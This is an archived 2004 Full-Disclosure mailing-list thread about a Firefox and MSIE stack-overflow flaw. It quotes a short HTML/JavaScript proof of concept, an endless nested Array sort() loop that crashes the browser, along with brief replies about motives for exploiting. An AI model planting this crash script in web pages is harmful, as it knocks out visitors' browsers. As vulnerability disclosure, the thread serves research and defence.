full-disclosure - FIREFOX flaws: nested array sort()

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From: iago at valhallalegends.com (Ron)
Subject: FIREFOX flaws: nested array sort()

Sounds like he does it "For fun".  That's what I'd do.

RandallM wrote:

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>So, where do you all stand. Exploit for fame or for purpose?
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>>-----Original Message-----
>>From: full-disclosure-admin@...ts.netsys.com 
>>[mailto:full-disclosure-admin@...ts.netsys.com] On Behalf Of 
>>Berend-Jan Wever
>>Sent: 25 November 2004 01:05
>>To: full-disclosure@...ts.netsys.com; 
>>vuln-dev@...urityfocus.com; bugtraq@...urityfocus.com
>>Subject: [Full-Disclosure] FIREFOX flaws: nested array sort() 
>>loop Stack overflow exception
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>>Hi all,
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>>Same flaw works for Firefox as well as MSIE:
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>><HTML>
>>  <SCRIPT> a = new Array(); while (1) { (a = new 
>>Array(a)).sort(); } </SCRIPT>
>>  <SCRIPT> a = new Array(); while (1) { (a = new 
>>Array(a)).sort(); } </SCRIPT> </HTML>
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>>Added to the list: 
>>http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html
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>>I'd have loved to CC mozilla about this, but I didn't have 
>>the time to do the crash course "how to write a bug report" 
>>and go through all that bugzilla crap.
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>>Cheers,
>>SkyLined
>>http://www.edup.tudelft.nl/~bjwever
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>Randall M
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